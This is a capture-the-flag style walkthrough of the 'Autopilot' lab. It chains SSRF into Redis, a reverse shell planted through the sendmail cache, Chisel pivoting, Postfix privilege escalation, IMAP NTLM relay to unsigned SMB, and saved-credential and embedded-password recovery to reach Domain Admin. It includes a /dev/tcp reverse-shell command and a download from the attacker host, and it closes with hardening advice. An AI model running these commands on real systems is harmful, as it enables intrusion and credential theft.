Autopilot
grofiles shell → PHP-FPM execution → Postfix configuration abuse →
root on Grommunio → Chisel pivot → recurring IMAP NTLM authentication relayed to unsigned SMB on WS02 →
Thunderbird credential recovery → local administrator → runas.exe static analysis → Domain Admin →
root.txt from DC01.
- External target
grommunio.autopilot.htbover HTTPS- Internal mail host
172.16.20.10- Domain controller
DC01at172.16.20.1- Workstation
WS02at172.16.20.15- Starting account
deborah.hernandez- User path
- Seafile SSRF → Redis → mail notification → Postfix
- Root path
- IMAP NTLM relay → WS02 → saved login → embedded Domain Admin credential
01External enumeration
A full TCP scan left HTTPS as the only exposed service. The certificate supplied the useful virtual hosts.
sudo nmap -Pn -sS -p- --min-rate 1000 <target-ip>
sudo nmap -Pn -sV -sC -p443 <target-ip>
echo '<target-ip> grommunio.autopilot.htb autodiscover.autopilot.htb mail.autopilot.htb' \
| sudo tee -a /etc/hosts
The web interface exposed Grommunio Web, EWS, Autodiscover, ActiveSync, WebDAV, and an integrated Nextcloud-derived Files application. Deborah's supplied credentials authenticated to both the mailbox and the Files service.
curl -ksS -u 'deborah.hernandez:<supplied-password>' \
-X PROPFIND -H 'Depth: 1' \
https://grommunio.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/
Mail and directory data identified Joshua Harris as a newly provisioned service account and Stephanie Lewis as the provisioner. Direct EWS access to other users and Exchange impersonation both returned access denied, so the useful attack surface was the Files plugin.
02Controlled Seafile backend
The Grommunio Files plugin allowed a user-controlled Seafile account. A small fake Seafile API was hosted on
Kali and returned the endpoints the plugin expected. The legacy account format was stored as version
0, with server_ssl represented by an empty array, preserving plain HTTP.
Backend: Seafile
Server address: 10.10.15.44
Server port: 8000
Account format: version 0
server_ssl: []
Observed callbacks:
POST /api2/auth-token/
GET /api2/repos/
GET /api2/repos/<repo-id>/file/?p=/test
The file endpoint returned a controlled URL, giving an SSRF primitive from the Grommunio host. A
gopher://127.0.0.1:6379/... response carried a Redis protocol request into the local cache.
03Redis poisoning and the grofiles shell
Nextcloud cached the discovered path of the sendmail executable. Replacing that cache value with a
Bash callback converted a later email notification into command execution.
Redis key:
0080d9f8020c1c045f3ae6468d0c933a/findBinaryPathsendmail
Cached command:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.44/9005 0>&1'
A harmless WebDAV file and an email share triggered the notification path:
echo htb >/tmp/pwn.txt
curl -ksS -u 'deborah.hernandez:<supplied-password>' \
-X PUT --data-binary @/tmp/pwn.txt \
https://grommunio.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/pwn.txt
curl -ksS -u 'deborah.hernandez:<supplied-password>' \
-H 'OCS-APIRequest: true' -X POST \
--data-urlencode 'path=/pwn.txt' \
--data-urlencode 'shareType=4' \
--data-urlencode 'shareWith=deborah.hernandez@autopilot.htb' \
--data-urlencode 'permissions=1' \
'https://grommunio.autopilot.htb/files/ocs/v2.php/apps/files_sharing/api/v1/shares?format=json'
The listener received a shell as uid=462(grofiles).
04Pivot and internal PHP-FPM
Chisel exposed the internal network through a reverse SOCKS proxy.
# Kali
chisel server --reverse -p 9002
# Grommunio
curl http://10.10.15.44:8010/chisel -o /tmp/chisel
chmod +x /tmp/chisel
nohup /tmp/chisel client 10.10.15.44:9002 R:1080:socks \
>/tmp/chisel.log 2>&1 &
Through the pivot, a crafted FastCGI request reached the internal PHP-FPM listener and executed commands as
wwwrun. A helper encoded commands before passing them to cgi-fcgi:
/tmp/fcgi_b64.sh "$(printf %s 'id; whoami; hostname' | base64 -w0)"
# uid=479(wwwrun) gid=479(www)
05Root on the Grommunio host
The Grommunio Admin API database-configuration feature could register the permitted POSTCONF
commit hook and alter Postfix's daemon_directory. A controlled postfix-script copied
Bash to a setuid location when Postfix restarted.
/var/spool/mail/rootbash -p -c 'id'
# uid=479(wwwrun) gid=479(www) euid=0(root)
With root execution, the user flag was located directly:
CMD="/var/spool/mail/rootbash -p -c 'find /home /root -type f -name user.txt -print -exec cat {} \\;'"
/tmp/fcgi_b64.sh "$(printf %s "$CMD" | base64 -w0)"
06Map the internal Active Directory
Joshua's service account authenticated to LDAP and SMB. LDAPS was required because the domain controller enforced LDAP signing.
LDAPTLS_REQCERT=never proxychains4 -q -f /tmp/pc1080.conf \
ldapsearch -LLL -x -H ldaps://172.16.20.1:636 \
-D 'AUTOPILOT\sa-joshua.harris' -w '<service-account-password>' \
-b 'DC=autopilot,DC=htb' \
'(&(objectCategory=computer)(dNSHostName=*))' \
sAMAccountName dNSHostName operatingSystem
The domain contained three key systems:
| Host | Address | Role |
|---|---|---|
| DC01 | 172.16.20.1 | Windows Server 2025 domain controller |
| Grommunio | 172.16.20.10 | Linux mail and Files server |
| WS02 | 172.16.20.15 | Windows 11 workstation |
Joshua belonged to DnsAdmins and System Administrators. The DNS plugin route looked
promising, but writes returned access errors or stopped DNS without producing execution. BloodHound showed
no shorter useful path to Domain Admin.
07Find the NTLM relay target
SMB enumeration exposed the intended contrast: DC01 required signing, while WS02 accepted unsigned SMB. A dedicated reverse forward made WS02 available locally on Kali.
# Grommunio
nohup /tmp/chisel client 10.10.15.44:9002 \
R:1445:172.16.20.15:445 \
>/tmp/chisel-ws02.log 2>&1 &
# Kali
proxychains4 -q -f /tmp/pc1080.conf netexec smb 172.16.20.1
netexec smb 127.0.0.1 --port 1445
# DC01 signing:True
# WS02 signing:False
Monitoring on the owned mail server showed 172.16.20.15 reconnecting to TCP 143 every few
seconds. The client negotiated IMAP STARTTLS and used AUTHENTICATE NTLM. The workstation was
repeatedly sending relayable authentication to infrastructure already under our control.
08Relay IMAP NTLM to WS02
The working relay preserved the live NTLM challenge-response exchange:
imap_capture.pytemporarily replaced the IMAP listener on Grommunio, used its real TLS certificate, completed STARTTLS, and forwarded NTLM Type 1 and Type 3 messages.imap_relay_broker.pylistened on Kali TCP 1144 and used Impacket'sSMBRelayClientagainstsmb://127.0.0.1:1445.- A wrapper restored
gromox-imap.serviceon exit so the capture window did not leave mail offline.
# Kali
sudo nohup python3 -u /tmp/imap_relay_broker.py \
>/tmp/imap-relay-broker.log 2>&1 &
# Grommunio wrapper
trap 'systemctl start gromox-imap.service' EXIT INT TERM
systemctl stop gromox-imap.service
timeout 180 python3 /tmp/imap_capture.py
TYPE3 identity=AUTOPILOT/stephanie.lewis
RELAY SUCCESS identity=AUTOPILOT/stephanie.lewis target=WS02
Impacket's command-output retrieval failed with STATUS_OBJECT_NAME_NOT_FOUND, but the relayed SMB
session itself was administrative and could enumerate C$.
09Recover Stephanie's saved login
The relayed session downloaded the active Thunderbird profile from WS02:
C:\Users\da-stephanie.lewis\AppData\Roaming\Thunderbird\Profiles\p3xppadz.default-release
logins.json
key4.db
cert9.db
prefs.js
Firepwd decrypted the saved Grommunio web and IMAP login:
git clone --depth 1 https://github.com/lclevy/firepwd.git ~/htb/autopilot/tools/firepwd
python3 ~/htb/autopilot/tools/firepwd/firepwd.py \
-d /tmp/ws02-loot/da-stephanie.lewis/p3xppadz.default-release
The recovered stephanie.lewis credential authenticated to WS02 with local-administrator rights.
NetExec returned (Pwn3d!), and --sam --lsa recovered the local Administrator NT hash,
the WS02 machine-account secret, and a cached da-stephanie.lewis DCC2 hash.
10Find and reverse runas.exe
The cached Domain Admin hash did not fall to rockyou.txt. The intended source was a small Go
executable in Stephanie's profile:
C:\Users\stephanie.lewis\Videos\runas.exe
smbclient '//127.0.0.1/C$' -p 1445 \
-U 'AUTOPILOT\stephanie.lewis%<recovered-password>' \
-c 'get Users\stephanie.lewis\Videos\runas.exe runas.exe'
go version -m ./runas.exe
go tool nm -size ./runas.exe | grep -E 'main\.(main|passwordCipher|passwordKey|runAs)'
go tool objdump -s 'main.main' ./runas.exe > runas-main.asm
The binary exposed two Go slice headers:
0x1401b1910 main.passwordCipher → 0x1401ac6c8, length 14
0x1401b1930 main.passwordKey → 0x1401ac6d8, length 14
main.main used a repeating XOR. Resolving the slice headers and applying the same loop recovered the embedded Domain Admin password:
import struct
import pefile
pe = pefile.PE("runas.exe")
base = pe.OPTIONAL_HEADER.ImageBase
def read_va(address, size):
return pe.get_data(address - base, size)
def read_go_slice(header_address):
pointer, length, _ = struct.unpack("<QQQ", read_va(header_address, 24))
return read_va(pointer, length)
ciphertext = read_go_slice(0x1401b1910)
key = read_go_slice(0x1401b1930)
plaintext = bytes(value ^ key[i % len(key)] for i, value in enumerate(ciphertext))
print(plaintext.decode())
11Domain Admin and root.txt
The recovered credential authenticated as AUTOPILOT\da-stephanie.lewis on DC01:
proxychains4 -q -f /tmp/pc1080.conf \
netexec smb 172.16.20.1 \
-d AUTOPILOT \
-u da-stephanie.lewis \
-p '<embedded-password>'
# AUTOPILOT\da-stephanie.lewis (...) (Pwn3d!)
WMI executed but could not retrieve its temporary output file. Reading the administrative share directly was simpler and reliable:
ROOTFILE=~/htb/autopilot/root.txt
proxychains4 -q -f /tmp/pc1080.conf \
smbclient '//172.16.20.1/C$' \
-U 'AUTOPILOT\da-stephanie.lewis%<embedded-password>' \
-c "get Users/Administrator/Desktop/root.txt $ROOTFILE"
cat "$ROOTFILE"
C:\Users\Administrator\Desktop\root.txt on DC0112Failed paths and lessons
- EWS impersonation was correctly denied. Mailbox delegation was not the route to Joshua or Stephanie.
- DnsAdmins was a distraction. DNS plugin changes produced access errors and service disruption, not a stable escalation.
- SMB signing selected the relay target. DC01 required signing; WS02 did not.
- A captured hash was not enough. The recurring IMAP authentication had to be relayed live.
- Tool output can fail after successful authentication. Direct SMB operations proved the relayed access when Impacket could not recover its command-output file.
- The cached DCC2 hash was another detour. Static analysis of
runas.exerevealed the intended credential immediately.
13If this were your environment
User-controlled backend produced SSRF into local services
The Files integration accepted an attacker-controlled Seafile endpoint and followed a returned gopher URL into Redis.
- Allow-list backend schemes and destinations; reject redirects to loopback, link-local and internal address space.
- Disable unsupported URL schemes in the HTTP client and validate every redirect hop.
- Bind Redis to a protected interface, require authentication, and separate application cache namespaces.
Root-controlled execution path was writable through an administrative API
Postfix configuration exposed a path from web-level command execution to a root-owned service restart.
- Remove configuration keys that change executable directories from application-facing APIs.
- Enforce root ownership and integrity checks on all Postfix scripts and executable paths.
- Run management components with narrow sudoers entries or brokered operations instead of broad root authority.
Recurring NTLM authentication could be relayed to unsigned SMB
WS02 automatically authenticated to a compromised server and did not require SMB signing.
- Require SMB signing on every workstation and server.
- Disable NTLM where possible and prefer Kerberos with channel binding and mutual authentication.
- Remove unattended client authentication to infrastructure that does not require it.
- Alert when workstation credentials authenticate to unexpected server roles.
Privileged credentials were stored in user-accessible files
Thunderbird held a reusable administrative login, and runas.exe embedded a Domain Admin password using reversible XOR.
- Remove Domain Admin credentials from scripts, binaries, saved browser data and desktop profiles.
- Use Windows LAPS or a privileged-access-management system for local administration.
- Use gMSAs for services and just-in-time, tiered accounts for domain administration.
- Prevent Domain Admin logons to workstations and monitor for credential material in user profiles.
14Cleanup
# Grommunio
systemctl start gromox-imap.service
pkill -f '^python3.*/tmp/imap_capture.py' 2>/dev/null || true
pkill -f '/tmp/chisel client' 2>/dev/null || true
# Kali
sudo pkill -f '[i]map_relay_broker.py' 2>/dev/null || true
pkill -f '[c]hisel server --reverse -p 9002' 2>/dev/null || true
◆If this were my environment
This chain crossed a web integration, local Redis and Postfix trust boundaries, then used recurring NTLM authentication against a workstation that did not require SMB signing. I would treat it as both an application-security and identity-tiering failure.
- Put Grommunio/Nextcloud integrations in a restricted egress zone; allow-list schemes and destinations, revalidate redirects, and block loopback, link-local and internal ranges.
- Bind Redis locally, enable protected mode and ACLs, remove dangerous administrative commands from application identities, and run every mail component with a narrowly scoped service account.
- Require SMB signing across the domain, reduce or disable NTLM, and alert on workstation accounts authenticating to unexpected server roles.
- Remove reusable privileged credentials from profiles and binaries; use gMSAs, Windows LAPS, separate admin workstations and just-in-time Tier 0 access.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.